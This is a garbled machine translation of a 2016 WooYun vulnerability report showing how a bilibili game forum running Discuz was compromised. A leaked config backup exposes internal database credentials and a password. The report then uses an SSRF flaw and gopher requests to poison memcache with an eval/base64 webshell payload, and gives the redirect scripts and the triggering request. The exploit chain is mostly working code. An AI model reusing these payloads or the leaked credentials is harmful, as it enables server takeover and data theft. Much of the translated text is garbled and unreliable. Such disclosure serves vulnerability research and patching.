漏洞标题 bilibili某分站从信息泄露到ssrf再到命令执行 相关厂商 bilibili.com 漏洞作者 Jannock 提交时间 2016-05-30 08:38 公开时间 2016-06-2…
漏洞标题
bilibili的一个变电站将信息泄露给ssrf然后执行
相关制造商
Bilibili.com
漏洞作者
Jannock
提交时间
2016-05-30 08: 38
公共时间
2016-06-27 18: 00
漏洞类型
命令执行
危险等级
高
自我评估等级
20
漏洞状态
制造商已修复
标签标签
远程代码执行
漏洞详细信息
如果更好地利用redis,这只是memcache的一个例子
0x00前言
扫描程序经常扫描信息泄漏,例如discuz配置文件/config/config_global.php~
它通常带有数据库密码等,但它受到内部网的困扰,这非常令人尴尬。
0x01案例分析
以bilibili为例
http://bbs.biligame.com/config/config_global.php~

< PHP
$ _config=array();
//---------------------------- CONFIG DB ------------------ ----------- //
$ _config ['db'] ['1'] ['dbhost']='192.168.10.10';
$ _config ['db'] ['1'] ['dbuser']='gamebbs';
$ _config ['db'] ['1'] ['dbpw']='HdUbOY2YCAoKi3U0';
$ _config ['db'] ['1'] ['dbcharset']='utf8';
$ _config ['db'] ['1'] ['pconnect']='0'; //这是禁止修改的!
$ _config ['db'] ['1'] ['dbname']='gamebbs';
$ _config ['db'] ['1'] ['tablepre']='bbs_';
$ _config ['db'] ['slave']='';
$ _config ['db'] ['common'] ['slave_except_table']='';
//-------------------------- CONFIG MEMORY -------------------- ------- //
$ _config ['memory'] ['prefix']='NTOSSw_';
$ _config ['memory'] ['redis'] ['server']='';
$ _config ['memory'] ['redis'] ['port']=6379;
$ _config ['memory'] ['redis'] ['pconnect']=1;
$ _config ['memory'] ['redis'] ['timeout']='0';
$ _config ['memory'] ['redis'] ['requirepass']='';
$ _config ['memory'] ['redis'] ['serializer']=1;
$ _config ['memory'] ['memcache'] ['server']='192.168.10.12';
$ _config ['memory'] ['memcache'] ['port']=11211;
$ _config ['memory'] ['memcache'] ['pconnect']=1;
$ _config ['memory'] ['memcache'] ['timeout']=1;
$ _config ['memory'] ['apc']=0;
$ _config ['memory'] ['xcache']=0;
$ _config ['memory'] ['eaccelerator']=0;
$ _config ['memory'] ['wincache']=0;
注意到使用memcache
如果您注意到vBulletin rcehttp://drops.wooyun.org/papers/8261,
我相信我被这个漏洞的聪明所吸引。
那么,这个discuz是否有相同的漏洞?
所以寻找调用缓存的地方
\源\功能\ function_core.php
函数output_replace($ content){
全球$ _G;
如果(定义('IN_MODCP')|| defined('IN_ADMINCP'))返回$ content;
如果(!空($ _ G ['setting'] ['output'] ['str'] ['search'])){
如果(空($ _ G ['setting'] ['domain'] ['app'] ['default'])){
$ _G ['setting'] ['output'] ['str'] ['replace']=str_replace('{CURHOST}',$ _G ['siteurl'],$ _G ['setting'] ['output' ] [ 'STR'] [ '替换']);
}
$ content=str_replace($ _ G ['setting'] ['output'] ['str'] ['search'],$ _ G ['setting'] ['output'] ['str'] ['replace'] ,$ content);
}
如果(!空($ _ G ['setting'] ['output'] ['preg'] ['search'])&&(空($ _ G ['setting'] ['rewriteguest'])||空($ _ G ['uid']))){
如果(空($ _ G ['setting'] ['domain'] ['app'] ['default'])){
$ _G ['setting'] ['output'] ['preg'] ['search']=str_replace('\ {CURHOST \}',preg_quote($ _ G ['siteurl'],'/'),$ _G [ '设置'] [ '输出'] [ '预浸'] [ '搜索']);
$ _G ['setting'] ['output'] ['preg'] ['replace']=str_replace('{CURHOST}',$ _ G ['siteurl'],$ _G ['setting'] ['output' ] [ '预浸'] [ '替换']);
}
$ content=preg_replace($ _ G ['setting'] ['output'] ['preg'] ['search'],$ _ G ['setting'] ['output'] ['preg'] ['replace'] ,$ content);
}
返回$ content;
}
我找到了一个地方。
这里$ _G ['setting'] ['output'] ['preg'] ['search']和$ _G ['setting'] ['output'] ['preg'] ['replace']直接调用缓存中的数据。
此外,discuz的ssrf在许多地方,官方估计也难以解决。
WooYun:讨论!另一个SSRF无需无条件登录
所以测试,实际上发现服务器支持gohper协议。
我们来谈谈使用过程。如有必要,将在稍后向官员提交有关discuz漏洞的详细分析。
漏洞证明:
0x02漏洞利用
使用转发代码进行测试
< PHP
标题('位置: gopher: //自己的服务器: 80/_%0d%0aset NTOSSw_setting 1 0 147%0d%0aa: 2: {s: 6:'output'; a: 1: {s: 4:'preg ';一个: 2: {s: 6:'搜索'; s: 5:'/.*/e';s: 7:'replace'; s: 33:'eval(base64_decode($ _ POST [ccc]) );';}} s: 13:'writentstatus'; i: 1;}%0d%0a');
?>
测试返回如下所示

一切准备就绪,行动
首先准备两个页面,以便在编写shell后进行恢复。
Wshell.php
< PHP
标题('位置: gopher: //192.168.10.12: 11211/_%0d%0aset NTOSSw_setting 1 0 147%0d%0aa: 2: {s: 6:'output'; a: 1: {s: 4:' Preg'; a: 2: {s: 6:'search'; s: 5:'/.*/e';s: 7:'replace'; s: 33:'eval(base64_decode($ _ POST [ccc] ));';}} s: 13:' rewritestatus'; i: 1;}%0d%0a');
?>
Cls.php
< PHP
标题('位置: gopher: //192.168.10.12: 11211/_%0d%0adelete NTOSSw_setting%0d%0a');
?>
请求
http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/wshell.php?logo.jpg [/img]
完成后立即请求shell地址
Failure when receiving data from the peer